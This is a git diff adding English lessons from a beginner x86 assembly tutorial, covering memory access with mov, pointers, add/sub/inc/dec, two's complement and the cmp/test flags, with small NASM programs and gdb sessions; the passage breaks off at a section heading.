+ mov eax, [sayi] ; FETCH: read from memory → eax = 42
+ mov dword [sayi], 99 ; DROP: write to memory → sayi is now 99
+ mov eax, [sayi] ; read again (proof) → eax = 99
+ mov ebx, eax ; the result into the exit code
+ mov eax, 1
+ int 0x80
+```
+
+Assemble and open in gdb (the habit from 07):
+
+```
+nasm -f elf32 bellek.asm -o bellek.o
+ld -m elf_i386 bellek.o -o bellek
+gdb ./bellek
+(gdb) set disassembly-flavor intel
+(gdb) starti
+```
+
+This time we won't just look at a register, but at **memory itself**. The command to look at a memory box is **`x`** (*examine*): `x/1dw &sayi` = "show 1 dword at sayi's address in decimal." (`&sayi` = "sayi's address"; `d` = show in decimal; `w` = **a 4-byte dword**.)
+
+> 💡 **Don't mix it up:** the `w` here is the **same letter but a different dictionary** than the `dw` in `section .data`. In NASM, `dw` = 2 bytes; in gdb's `x/…w`, `w` = **4 bytes** (dword). Same letter, two tools, two sizes — here it shows 4 bytes.
+
+```
+(gdb) info registers eax
+(gdb) x/1dw &sayi
+```
+
+The real output — before any instruction has run yet:
+
+```
+eax 0x0 0
+0x804a000: 42
+```
+
+`eax` is still `0` (no loading has happened), but **`sayi` in memory** is already `42` — because we put it there with `dd 42`. The `0x804a000` on the left is sayi's **address** (we'll use that big number in a moment on the pointer tour).
+
+Now run `mov eax, [sayi]`:
+
+```
+(gdb) si
+(gdb) info registers eax
+```
+
+```
+eax 0x2a 42
+```
+
+**That's FETCH.** `eax` is now `42` (`0x2a`, from 03: the hexadecimal of 42) — the value came from memory into the pocket. The "pull from warehouse into pocket" step we drew as a Turkish draft in 04, you've now done for the first time with a real instruction.
+
+---
+
+## DROP: From a Register to Memory
+
+Now the reverse direction — the **DROP** step of 04: put a value from the pocket (or from our hand) into the warehouse. The destination is bracketed (an address), the source is the value:
+
+```nasm
+mov dword [sayi], 99 ; "write 99 to sayi's address"
+```
+
+The `dword` here is a small but necessary detail: when writing **a number directly** (99) into memory, the worker can't know "how many bytes should I write — 1 or 4?" (99 fits in all of them). `dword` tells it "write 4 bytes." (If the source were a register — `mov [sayi], eax` — you wouldn't need to write this, since a register is already 4 bytes.)
+
+Continue in gdb from where we left off — do one `si`, then look at **memory**:
+
+```
+(gdb) si
+(gdb) x/1dw &sayi
+```
+
+```
+0x804a000: 99
+```
+
+**That's DROP.** The memory box that was `42` a moment ago is now `99`. You saw with your own eyes that you changed memory *itself* — not a register, but a box in the warehouse. Let's read it one more time as proof (`mov eax, [sayi]`):
+
+```
+(gdb) si
+(gdb) info registers eax
+```
+
+```
+eax 0x63 99
+```
+
+`eax` is `99` this time, not `42` (`0x63`) — because 99 is now written in memory. FETCH → DROP → FETCH again: you've spun 04's dance from start to finish with real instructions. (When the program ends, `echo $?` — in fish: `echo $status` — says **99**; because on exit the 99 we put into `ebx` is read.)
+
+> 💡 Forward note: with `x/1dw` we looked at memory as "one big number" and saw a clean `42`/`99`. But how those 4 bytes are laid out in memory *one by one* — which byte comes first? — has its own peculiar rule that seems strange at first glance. We'll open up this "exactly reversed" surprise in the next short lesson ([08.5_little_endian](./08.5_little_endian.md)) by looking at memory byte by byte. For now, "`[sayi]` = the value there" is enough.
+
+---
+
+## Your First Pointer Follow
+
+Now we make 04's most powerful seed bloom. There we said: a box can hold, instead of the actual data, **where the actual data is** (its address) — we called this a **pointer** (like a coat-check ticket: the ticket isn't your coat, it tells you the *location* of your coat). And we drew that "go to the place someone points to" is two steps. Now we take those two steps with a real instruction.
+
+The key idea: a **register** can hold an address inside it. If it does, that register is a pointer — and with `[...]` we can *follow* it. `pointer.asm`:
+
+```nasm
+section .data
+ sayi: dd 42
+
+section .text
+ global _start
+
+_start:
+ mov ebx, sayi ; ebx = sayi's ADDRESS (NO brackets → not the value, the address)
+ mov eax, [ebx] ; go to the place ebx points to, take what's there into eax
+ mov ebx, eax ; the result into the exit code (ebx's pointer duty is done)
+ mov eax, 1
+ int 0x80
+```
+
+Pay attention to two instructions, because the whole lesson is in these two:
+- `mov ebx, sayi` → **no brackets.** So put sayi's **address** into ebx. Now ebx is a pointer — inside it is not a value, but a *place*.
+- `mov eax, [ebx]` → **with brackets.** "Go to the address inside ebx, take the value there." That is, **follow** the pointer.
+
+Assemble, watch in gdb:
+
+```
+nasm -f elf32 pointer.asm -o pointer.o
+ld -m elf_i386 pointer.o -o pointer
+gdb ./pointer
+(gdb) set disassembly-flavor intel
+(gdb) starti
+(gdb) si # mov ebx, sayi
+(gdb) info registers ebx eax
+```
+
+The real output:
+
+```
+ebx 0x804a000 134520832
+eax 0x0 0
+```
+
+**Look inside `ebx`:** `0x804a000` — a big number, but not a **value**, sayi's **address** (its place in memory). `eax` is still 0. ebx is now a pointer: it holds not 42, but *where* 42 is. Exactly the "box 5 points to box 12" picture from 04 — here ebx points to sayi.
+
+Now follow the pointer:
+
+```
+(gdb) si # mov eax, [ebx]
+(gdb) info registers ebx eax
+```
+
+```
+ebx 0x804a000 134520832
+eax 0x2a 42
+```
+
+**That's a pointer follow.** `eax` became `42` — but we didn't write this 42 directly; we *went to the address ebx points to* and took it from there. `ebx` still holds the address (unchanged), while `eax` holds the value at that address. In 04 we said "first look at box 5 (12 inside it), read that 12 as an address, go to box 12 (the actual value is there)" — that's exactly what you did, with real instructions. (`echo $?` → **42**.)
+
+> 🔑 A pointer = a register that holds an address. `mov ebx, sayi` (no brackets) puts the **address** into ebx; `mov eax, [ebx]` (with brackets) goes to that address and takes the **value** — that is, it *follows* the pointer. The difference is a single pair of square brackets.
+
+> 💡 **You might be wondering:** *"`mov eax, [sayi]` already gave 42. Why do I need `mov ebx, sayi` + `mov eax, [ebx]` — two instructions for the same result?"* In this example, yes, it's the same. But the difference is this: in `[sayi]` the address is **embedded/fixed in the code.** In a pointer, the address is in a **register**, that is, *changeable* — you can put another address into ebx and reach a completely different box with the same `[ebx]` instruction. Walking through an array, carrying big data from hand to hand by its address (04) — all of it happens with this. Fixed `[sayi]` is a single door; `[ebx]` is the key that **opens whichever door you want**.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ [...] = "this is an address, go there, use the value there." (04's address/value distinction, in an instruction.)
+ - mov eax, 5 → 5 into eax (value)
+ - mov eax, [5] → the contents of box NUMBER 5 into eax
+☐ section .data + label = putting a named box in memory.
+ - sayi: dd 42 → a 4-byte box named "sayi", 42 inside. (db=1, dw=2, dd=4 bytes)
+ - sayi = address (the box's place) · [sayi] = value (the box's contents).
+☐ FETCH (memory → register): mov eax, [sayi] → eax = the value in memory (42).
+☐ DROP (register/value → memory): mov dword [sayi], 99 → write to memory.
+ - When writing a number DIRECTLY to memory, state the size: dword (4 bytes). Not needed if the source is a register.
+☐ Look at memory in gdb: x/1dw &sayi → show the dword at that address. (&sayi = sayi's address)
+☐ POINTER = a register that holds an address.
+ - mov ebx, sayi (no brackets) → ebx = ADDRESS (pointer).
+ - mov eax, [ebx] (with brackets) → FOLLOW the pointer → eax = the value at that address (42).
+ - The difference: [sayi]'s address is fixed; [ebx]'s address is in a register → changeable (that's the real power).
+```
+
+---
+
+## 🔗 Related Topics
+
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — Where the FETCH→DROP dance and the pointer seed (address/value) were drawn; this lesson is its real instructions
+- [06_ilk_gercek_program.md](./06_ilk_gercek_program.md) — The first (register-to-register) form of `mov`
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — The tool we used here to look live at memory (`x`) and registers
+- 09_aritmetik.md 🚧 *(being written)* — The "PROCESS" step: no longer just moving, but doing arithmetic with the numbers you move
+
+---
+
+**Previous topic:** [07_gdb_tek_adim.md](./07_gdb_tek_adim.md)
+**Next topic:** [08.5_little_endian.md](./08.5_little_endian.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/09_aritmetik.md b/docs/eng/konu_anlatimlari/x86_assembly/09_aritmetik.md
new file mode 100644
index 0000000..8c679ec
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/09_aritmetik.md
@@ -0,0 +1,365 @@
+# ➕ x86 Assembly — Arithmetic: `add`, `sub`, and the Secret of Negative Numbers
+
+> In 04 we sketched the worker's dance: **FETCH** (from storage to the pocket) → **WORK** (compute in the pocket) → **DROP** (from the pocket back to storage).
+> In 08 we did **FETCH** and **DROP** with the real `mov` instruction — but the middle step, **WORK**, stayed empty: we kept moving things around, never actually *computing.*
+> That missing piece gets filled in this lesson. With `add` and `sub` you make the machine do a **calculation** for the first time; then we pay off a debt we left in 06 — "how do negative numbers fit into a byte?"
+
+> **This lesson has code, and we run all of it.** Every program and every GDB output below is real: I assembled and ran them on my own machine, and the numbers you see are not made up.
+
+---
+
+## 📋 Table of Contents
+
+- [`add`: The Worker's Add Order](#add-the-workers-add-order)
+- [The First Calculation Program](#the-first-calculation-program)
+- [Watch It in GDB: Addition Live](#watch-it-in-gdb-addition-live)
+- [`sub`: Subtraction](#sub-subtraction)
+- [`inc` / `dec`: Add One, Subtract One](#inc--dec-add-one-subtract-one)
+- [The Secret of Negative Numbers: Two's Complement](#the-secret-of-negative-numbers-twos-complement)
+- [The Whole Dance: FETCH → WORK → DROP](#the-whole-dance-fetch--work--drop)
+
+---
+
+## `add`: The Worker's Add Order
+
+In 01, when we looked at the kinds of orders the worker can take, we put "**compute**" in second place. The most basic one is addition, and its real name is `add` (English *add*, "to add").
+
+Its spelling looks a lot like `mov` — it takes two boxes:
+
+```nasm
+add destination, source ; "into destination, ADD source"
+```
+
+But there's one difference from `mov`, and the whole point is in that difference:
+
+- `mov eax, 3` → eax's old value is **erased**, and 3 takes its place. (*puts*)
+- `add eax, 3` → eax's old value **stays**, and 3 is added on top. (*adds*)
+
+So `add` doesn't zero out the target; it puts it **on top of what's already there**. If eax holds 5 and you say `add eax, 3`, eax now becomes 8 (5 + 3). This is the most basic form of 04's **WORK** step.
+
+> 🔑 `add destination, source` = "destination = destination + source." Unlike `mov`, it doesn't erase the old value, it adds on top. `mov` puts, `add` accumulates.
+
+---
+
+## The First Calculation Program
+
+Now let's make the machine do an addition for the first time. `topla.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 5 ; eax = 5
+ add eax, 3 ; eax = 5 + 3 = 8
+ mov ebx, eax ; result into the exit code
+ mov eax, 1
+ int 0x80
+```
+
+You can now read every one of these lines: `mov eax, 5` puts down the five, `add eax, 3` adds three on top (eax = 8), `mov ebx, eax` moves the result into the exit code. Assemble, link, and run with the familiar chain:
+
+```
+nasm -f elf32 topla.asm -o topla.o
+ld -m elf_i386 topla.o -o topla
+./topla
+echo $?
+```
+
+What you'll see (in the fish shell, `echo $status`):
+
+```
+8
+```
+
+**There's your first calculation.** You didn't write this `8` directly — the machine did `5 + 3` *itself.* In 06 you were *telling* the machine a number; now you're making it *perform* an operation.
+
+---
+
+## Watch It in GDB: Addition Live
+
+Recall from 06 the "difference between knowing and seeing." Let's watch with our own eyes how `add` changes eax (the habit from 07):
+
+```
+gdb ./topla
+(gdb) set disassembly-flavor intel
+(gdb) starti
+```
+
+First run `mov eax, 5`, then look at eax:
+
+```
+(gdb) si
+(gdb) info registers eax
+```
+```
+eax 0x5 5
+```
+
+`eax` is now `5`. Now for the main event — `add eax, 3`:
+
+```
+(gdb) si
+(gdb) info registers eax
+```
+```
+eax 0x8 8
+```
+
+**There's WORK.** `eax` went from `5` to `8` — the machine added right before your eyes. `add` didn't erase the old 5; it added 3 on top. The "compute in the pocket" step we sketched as a rough draft in 04 you've now done for the first time with a real instruction.
+
+---
+
+## `sub`: Subtraction
+
+Subtraction is addition's sibling: `sub` (English *subtract*). The rule is exactly the same, it just subtracts instead of adds:
+
+```nasm
+sub destination, source ; "destination = destination − source"
+```
+
+`cikar.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 10 ; eax = 10
+ sub eax, 4 ; eax = 10 − 4 = 6
+ mov ebx, eax
+ mov eax, 1
+ int 0x80
+```
+
+Assemble, link, run, `echo $?`:
+
+```
+6
+```
+
+`10 − 4 = 6`. `add` and `sub` — the worker's two basic calculations. Both follow the same template: "update the target with the source." Addition accumulates, subtraction diminishes.
+
+> 💡 While doing `add`/`sub`, the worker also keeps little notes on the side: "did the result come out zero? did it overflow?" and so on. These notes are called **flags** (*flag*), and we're ignoring them for now — but in the next lesson (10) they'll be the foundation of every *decision* (if, loop). For now, "add adds, sub subtracts" is enough.
+
+---
+
+## `inc` / `dec`: Add One, Subtract One
+
+Two more tiny instructions you'll need very often — to increase or decrease a number by **exactly 1**:
+
+- `inc destination` → increase the target by 1 (*increment*). `inc eax` does the same job as `add eax, 1`.
+- `dec destination` → decrease the target by 1 (*decrement*). `dec eax` = `sub eax, 1`.
+
+`incdec.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 7 ; 7
+ inc eax ; 8
+ inc eax ; 9
+ dec eax ; 8
+ mov ebx, eax
+ mov eax, 1
+ int 0x80
+```
+
+`echo $?`:
+
+```
+8
+```
+
+`7 → 8 → 9 → 8`. Why a separate instruction? Because "counting one by one" is so common (especially in loops) that the machine gave it a shortcut. While advancing a counter you'll see `inc` constantly.
+
+---
+
+## The Secret of Negative Numbers: Two's Complement
+
+Now we keep the promise we made in 06. There, when we did `mov ebx, -5`, we saw `echo $?` say **251**, and we said "we'll explain how in 09." Here we are in 09.
+
+Let's state the question clearly first. `sub` subtracts — but what happens if the result drops below zero? Let's try. `eksi.asm`: `5 − 8`, that is **−3**.
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 5
+ sub eax, 8 ; eax = 5 − 8 = −3 ... but how does a negative fit in a byte?
+ mov ebx, eax
+ mov eax, 1
+ int 0x80
+```
+
+`echo $?`:
+
+```
+253
+```
+
+**There's the puzzle.** We expected `−3` but got `253`. Asking GDB opens the secret a bit:
+
+```
+(gdb) si # mov eax, 5
+(gdb) si # sub eax, 8
+(gdb) info registers eax
+```
+```
+eax 0xfffffffd -3
+```
+
+Look how nicely: GDB shows `eax` both in its raw form (`0xfffffffd`) and as "this is actually **−3**." So the machine holds `−3` in its memory as `0xFFFFFFFD`. But why does this number mean `−3`?
+
+### Think of it like an odometer
+
+When a car's odometer is at `000` and you go **back** one, what happens? It rolls over to `999`. That's exactly the machine's negative logic: **one back from 0 = the very top.**
+
+For a single byte (0–255):
+
+```
+ 0 − 1 → 255 (that is, 255 means "−1")
+ 0 − 2 → 254 ( "−2")
+ 0 − 3 → 253 ( "−3") ← our result!
+```
+
+Just as a number wraps from the bottom when it overflows upward (06: `300 → 44`), when it overflows downward into the negatives it wraps from the **top**. `5 − 8` gives `253`, which corresponds to `−3`. The `−5 → 251` in 06 is exactly this: `−5` = `256 − 5` = `251`.
+
+### The recipe: flip the bits, add 1
+
+There's a short way to produce a number's negative — **flip all the bits, then add 1.** For `3` (as a byte):
+
+```
+ 3 = 0000 0011
+ bits flipped = 1111 1100 (0xFC)
+ + 1 = 1111 1101 (0xFD = 253 = −3)
+```
+
+So the byte form of `−3` is `0xFD` (253). In 32 bits the same trick is written longer: `0xFFFFFFFD` — exactly what GDB showed above. The name of this "flip + add 1" trick is **two's complement**.
+
+### Why is it so clever? Because there's no such thing as subtraction
+
+Here's the beautiful part, and the peak of 01's theme that "the machine is actually very simple": the machine has **no** separate "subtraction circuit." Subtraction is just **adding the negative.** `5 − 3`, in the machine's eyes, is `5 + (−3)`.
+
+Let's prove it. We said the byte form of `−3` is `253` (in 32 bits, `0xFFFFFFFD`). Then, instead of `5 − 3`, if we directly **add** `0xFFFFFFFD` to `5`, we should also get `2`. `negekle.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 5
+ add eax, 0xFFFFFFFD ; 5 + (−3 in two's complement form)
+ mov ebx, eax
+ mov eax, 1
+ int 0x80
+```
+
+`echo $?`:
+
+```
+2
+```
+
+**There's the proof.** We didn't write `sub eax, 3` — we added `−3` with `add`, and `5 − 3 = 2` came out. So `sub`, behind the curtain, is nothing more than "add the negative." The machine both adds and subtracts with a single addition circuit; two's complement is the trick that makes it possible.
+
+> 🔑 The machine holds a negative number with **two's complement**: flip the bits + add 1 (`−3` → `0xFD`/`0xFFFFFFFD`). A number that overflows downward wraps from the top (`0−3 → 253`), just like an odometer — this is the answer to the `−5 → 251` puzzle from 06. And the real beauty: subtraction isn't a separate job, it's just **adding the negative** — the machine does both with a single addition circuit.
+
+> 💡 **You might be wondering:** *"How does the machine know whether `253` is `−3` or really `253`?"* It doesn't — and this should feel familiar, because it's [01.5_sayi_ve_anlam](./01.5_sayi_ve_anlam.md) itself: the same bit sequence is `253` in one instruction's eyes and `−3` in another's. The difference is decided by the instruction that says whether to read the number as **signed or unsigned** (GDB, in saying "−3" above, chose the signed reading). The same number, two meanings; the meaning is again given by the code.
+
+---
+
+## The Whole Dance: FETCH → WORK → DROP
+
+Now all three steps are in your hands. In 04 we sketched exactly this task as a rough draft:
+
+```
+ Task: add the number in box 100 to the number in box 200, write the result to box 300.
+ FETCH: box 100 → EAX
+ WORK : add box 200 on top
+ DROP : write the result back to the box
+```
+
+Back then we said "we'll see the real instructions later." Here they all are, ready. `dans.asm`:
+
+```nasm
+section .data
+ a: dd 100
+ b: dd 200
+ sonuc: dd 0
+
+section .text
+ global _start
+
+_start:
+ mov eax, [a] ; FETCH: pull a into the pocket (eax = 100)
+ add eax, [b] ; WORK : add b on top (eax = 300)
+ mov [sonuc], eax ; DROP : drop the result into storage
+ mov eax, 1
+ mov ebx, 0
+ int 0x80
+```
+
+A small nicety: in `add eax, [b]` we read the operand **directly from memory** — without first pulling it into the pocket with a separate `mov`. In 04 we made an honest note that "x86 sometimes allows a shortcut, you can touch a memory box directly" — well, this is that shortcut.
+
+Let's watch the dance step by step in GDB:
+
+```
+gdb ./dans
+(gdb) set disassembly-flavor intel
+(gdb) starti
+(gdb) si # FETCH mov eax, [a]
+(gdb) si # WORK add eax, [b]
+(gdb) si # DROP mov [sonuc], eax
+(gdb) x/1dw &sonuc
+```
+
+The real output, step by step:
+
+```
+FETCH → eax = 100 (a came from memory into the pocket)
+WORK → eax = 300 (b added on top: 100 + 200)
+DROP → x/1dw &sonuc = 300 (result written to storage)
+```
+
+**There's the whole dance.** That picture we sketched from afar in 04 — pull from storage, add in the pocket, drop back to storage — has now turned in your own hands, with real instructions. Everything we called "later" in Unit 0 has come down to here, to a single working program.
+
+> 🔑 `mov [a]` (FETCH) → `add [b]` (WORK) → `mov [sonuc]` (DROP): the whole fetch-work-drop dance of 04, with real instructions. A program is most often a repetition of this skeleton: pull the data, compute on it, store the result.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ add destination, source = destination + source → destination. (mov PUTS, add ADDS: doesn't erase the old, piles on top.)
+ - mov eax,5 + add eax,3 → eax = 8. (the WORK step: 04's missing piece)
+☐ sub destination, source = destination − source → destination. (10 − 4 = 6.)
+☐ inc / dec = increase / decrease by exactly 1. inc eax ≡ add eax,1 ; dec eax ≡ sub eax,1. (common in counters.)
+☐ Negative numbers = TWO'S COMPLEMENT: flip the bits + add 1. −3 → 0xFD (byte) / 0xFFFFFFFD (32-bit).
+ - Downward overflow wraps from the top: 0−3 → 253. (the answer to 06's −5→251.) Since the exit code is a byte, 5−8 → 253.
+ - Subtraction is NOT a separate job: sub = "add the negative." The machine does both with a single addition circuit.
+ Proof: add eax, 0xFFFFFFFD (i.e. +(−3)) → 2 comes out of 5.
+☐ add/sub also keep "flags" on the side (is it zero, did it overflow) → the foundation of decisions, in lesson 10.
+☐ The whole dance (dans.asm): mov [a] (FETCH) → add [b] (WORK) → mov [sonuc] (DROP) → sonuc = 300.
+ 04's 100+200→300 example, now real and working. This is the skeleton of programs.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — where the "FETCH → WORK → DROP" dance was sketched; this lesson fills in its **WORK** step
+- [06_ilk_gercek_program.md](./06_ilk_gercek_program.md) — `mov` and the exit code; where the `−5 → 251` puzzle was asked (and here answered)
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — the **FETCH** and **DROP** steps of the dance; reaching into memory with `[...]`
+- [01.5_sayi_ve_anlam.md](./01.5_sayi_ve_anlam.md) — "Same number, different meaning": the root of the `253` or `−3`? question
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — watching live what an instruction does with `si` + `info registers`
+
+---
+
+**Previous topic:** [08.5_little_endian.md](./08.5_little_endian.md)
+**Next topic:** [10_bayraklar_ve_cmp.md](./10_bayraklar_ve_cmp.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/10_bayraklar_ve_cmp.md b/docs/eng/konu_anlatimlari/x86_assembly/10_bayraklar_ve_cmp.md
new file mode 100644
index 0000000..8105206
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/10_bayraklar_ve_cmp.md
@@ -0,0 +1,245 @@
+# 🚩 x86 Assembly — Flags and `cmp`: How the Worker Prepares a Decision
+
+> At the end of 09 we made a small promise: while the worker does `add`/`sub` it keeps notes on the side — *"did the result come out zero? was it negative?"* — and these notes are called **flags**; we said "the foundation of every decision is in 10." Here we are, in 10.
+> But careful: this lesson does not *make* the decision. The decision will be made by the next lesson (11, the jumps). Here we build the **raw material** of the decision — because before the machine can decide on something, it has to *note* it down somewhere. That notebook is the flags.
+
+> **This lesson has code, and we run all of it.** Every program and every GDB output below is real: I compiled and ran them on my own machine, and the `eflags` lines you see are not made up.
+
+---
+
+## 📋 Table of Contents
+
+- [What Is a Flag? The Worker's Margin Note](#what-is-a-flag-the-workers-margin-note)
+- [`cmp`: Compare Without Destroying the Value](#cmp-compare-without-destroying-the-value)
+- [Three Cases: Equal, Greater, Less](#three-cases-equal-greater-less)
+- [A Common Shortcut: `test eax, eax`](#a-common-shortcut-test-eax-eax)
+- [A Flag Alone Does Nothing](#a-flag-alone-does-nothing)
+
+---
+
+## What Is a Flag? The Worker's Margin Note
+
+In 09 you had a calculation done: `add eax, 3`. As the worker did it, even if you didn't ask, it put a few marks into a tiny notebook on the side:
+
+- *"Did this operation's result come out to exactly **zero**?"*
+- *"Is the result **negative** (is the top bit 1)?"*
+- *"Did the number overflow, was there a carry?"*
+
+Each of these marks is a single **bit** — either on (1) or off (0). Their name is **flag**. After every `add`/`sub`/`cmp` the worker updates these flags **automatically**; you don't have to give an extra order, when the job is done it writes into the notebook on its own.
+
+All the flags sit side by side in a single special register: **`eflags`**. In 04.5 we saw that a register is "the same bits, a different window"; `eflags` is a register too, but each bit inside it has a **separate meaning** — one is "zero?", one is "negative?", and so on.
+
+Right now only **two** of them concern us:
+
+| Flag | Abbreviation | What it says | When it becomes 1 |
+|:---:|:---:|---|---|
+| Zero flag | **ZF** (*Zero Flag*) | "Is the result zero?" | When the result comes out exactly **0** |
+| Sign flag | **SF** (*Sign Flag*) | "Is the result negative?" | When the top bit of the result is **1** (that is, negative) |
+
+> 🔑 A **flag** = a single bit in the `eflags` register; the margin note the worker keeps about the result of a calculation. **ZF** = "the result was zero", **SF** = "the result was negative". `add`/`sub`/`cmp` update these on their own.
+
+---
+
+## `cmp`: Compare Without Destroying the Value
+
+The first step of making a decision is to **compare**: "are these two numbers equal? which is bigger?" So how do you compare two numbers? With a familiar trick: **subtract** one from the other and look at the result.
+
+- If the difference is **zero** → they are equal.
+- If the difference is **negative** → the first one is smaller.
+
+But there's a problem. If you do `sub eax, ebx`, eax's **old value is destroyed** — you wrote the result over it. But usually you want to use the number you compared *afterwards* too; you don't want to throw it in the trash just to take a look.
+
+This is exactly what `cmp` (from *compare*) is for: **it does the subtraction, but doesn't write the result anywhere — it only sets the flags.**
+
+```nasm
+cmp eax, ebx ; internally computes eax - ebx, DISCARDS THE RESULT, only sets ZF/SF
+```
+
+So `cmp` is `sub`'s "value-preserving" sibling: it does the same subtraction, but the only trace it leaves is the **flags**. Let's prove it. `esit.asm` — let's compare two equal numbers:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 7
+ mov ebx, 7
+ cmp eax, ebx ; 7 - 7 = 0 → ZF should turn on
+ mov eax, 1
+ mov ebx, 0
+ int 0x80
+```
+
+Assemble, run (with the 07 habit, we'll look in GDB):
+
+```
+nasm -f elf32 esit.asm -o esit.o
+ld -m elf_i386 esit.o -o esit
+```
+
+Let's run `cmp` and look at both the flags and eax/ebx:
+
+```
+gdb ./esit
+(gdb) set disassembly-flavor intel
+(gdb) starti
+(gdb) si # mov eax, 7
+(gdb) si # mov ebx, 7
+(gdb) si # cmp eax, ebx
+(gdb) info registers eflags
+(gdb) info registers eax ebx
+```
+
+Real output:
+
+```
+eflags 0x246 [ PF ZF IF ]
+eax 0x7 7
+ebx 0x7 7
+```
+
+Notice two things at once:
+
+1. **`ZF` is there** — inside the square brackets. Because `7 - 7 = 0`, the worker jotted down the "result is zero" note. The flag turned on.
+2. **eax is still 7, ebx is still 7.** `cmp` compared the numbers but **broke neither of them.** You compared without destroying the value — that's the whole talent of `cmp`.
+
+If you'd written `sub eax, ebx` to compare, ZF would still turn on, **but** eax would become `0` — you'd lose the 7. If you tried the same program with `sub` instead of `cmp`, you'd see eax as `0` in GDB. `cmp` = "subtract but don't touch the value."
+
+> 🔑 `cmp a, b` internally does `a - b` but **writes the result nowhere** — it only sets the flags (ZF/SF). It's `sub`'s value-preserving sibling: the number you compared stays in place. This is the standard way to compare.
+
+> 💡 **You might be wondering:** *"the eflags output also has `PF` and `IF` — what are those?"* GDB shows **all** of the flags that are on in `eflags`; not all of them are ours. `IF` (interrupt flag) is on almost all the time, it's about the operating system, it doesn't concern you. `PF` (parity) is also off-topic for now. In this lesson, follow only **ZF** and **SF**; ignore the rest. (Remember 00's promise: there's no hidden business here — only "not needed for now.")
+
+---
+
+## Three Cases: Equal, Greater, Less
+
+A comparison has three possible outcomes: equal, the first is greater, the first is smaller. We'll distinguish all three with the same `cmp` — the only difference being which flags turn on. Let's run all three programs and look at `eflags` (all of them are identical to the `esit.asm` skeleton above, only the numbers change).
+
+**Equal** — `cmp 7, 7` (the `esit` above):
+
+```
+eflags 0x246 [ PF ZF IF ] → ZF on
+```
+
+**First is greater** — `buyuk.asm`, `cmp 9, 4` (difference `+5`, positive):
+
+```
+eflags 0x206 [ PF IF ] → neither ZF nor SF
+```
+
+**First is smaller** — `kucuk.asm`, `cmp 4, 9` (difference `-5`, negative):
+
+```
+eflags 0x293 [ CF AF SF IF ] → SF on
+```
+
+Let's put it in a table — this is the core of the decision logic:
+
+| Comparison | Internal difference | ZF | SF | What it means |
+|---|:---:|:---:|:---:|---|
+| `cmp 7, 7` | 0 | **1** | 0 | **equal** (difference zero) |
+| `cmp 9, 4` | +5 | 0 | 0 | first is **greater** (difference positive) |
+| `cmp 4, 9` | −5 | 0 | **1** | first is **smaller** (difference negative) |
+
+It reads very simply:
+
+- If **ZF = 1**, the two numbers are **equal** (because the difference is zero).
+- If **ZF = 0, SF = 1**, the first number is **smaller** (the difference dropped below zero. Negative numbers like `0xFFFFFFFD` from 09 always start with the leftmost bit; in two's complement the **top bit = the "is it negative" mark** — and SF simply copies that bit).
+- If **ZF = 0, SF = 0**, the first number is **greater** (the difference is positive, not zero).
+
+This is how the worker "remembers" the "which is bigger" question: it doesn't actually remember — it just leaves two bits, and you (or rather, the next instruction) look at those two bits and read the decision.
+
+> 💡 **You might be wondering:** *"in `cmp 4, 9`, `CF` and `AF` also turned on — do I have to read those too?"* No, not for now. Also, an honest warning: the rule "if SF is on, the first is smaller" works cleanly here, but for **very large** numbers (in the edge cases where overflow gets involved) SF alone can mislead you. Good news: you'll **never** have to work out this subtlety by hand — instructions like `jl` ("jump if less") and `jg` ("jump if greater"), which you'll meet in lesson 11, know the correct flag combination *themselves*. So you won't compute the "which is bigger" decision flag by flag; `cmp` sets it, the jump instruction reads it correctly. For now it's enough that you see the picture.
+
+---
+
+## A Common Shortcut: `test eax, eax`
+
+There's one comparison you need very, very often: *"is this register zero?"* (Did a counter finish, is a result empty, is a flag value 0...) You could do it with `cmp eax, 0` — but in assembly almost everyone writes this instead:
+
+```nasm
+test eax, eax ; "is eax zero?" → if zero, ZF=1
+```
+
+`test`, like `cmp`, is an instruction that "discards the result and only sets flags." When `test eax, eax` is used, its practical result is one sentence: **if eax is zero, ZF turns on, otherwise it stays off.** (By the way: `test eax, eax` actually sets SF too — if eax is negative, SF=1 — but in this "is it zero" shortcut we only look at ZF.) Let's see it with two programs.
+
+`testsifir.asm` (eax = 0):
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 0
+ test eax, eax ; is eax zero? → ZF=1
+ mov eax, 1
+ mov ebx, 0
+ int 0x80
+```
+
+`testdolu.asm` — the only difference is `mov eax, 42`. In both, `eflags` after `test`:
+
+```
+testsifir (eax=0) → eflags [ PF ZF IF ] → ZF ON (eax was zero)
+testdolu (eax=42) → eflags [ IF ] → no ZF (eax was non-empty)
+```
+
+This is the standard form of the "is it zero?" test: `test eax, eax` → look at ZF. You'll see this all over the place in loop counters and "is it empty or full" checks.
+
+> 💡 **You might be wondering:** *"what does `test` do internally, exactly? Why do we write `eax, eax` twice?"* The operation inside `test` is a **bit operation** (`and`) and we haven't seen it yet — so I'll leave the mechanism as a closed box for now: **we'll open it fully in lesson 13 (`and`/`or`/`xor`).** The only thing you need in this lesson is its function: `test eax, eax` asks "is eax zero" and puts the answer in ZF. (Why this instead of `cmp eax, 0`? Because it's shorter/faster — but the reason belongs to 13.)
+
+---
+
+## A Flag Alone Does Nothing
+
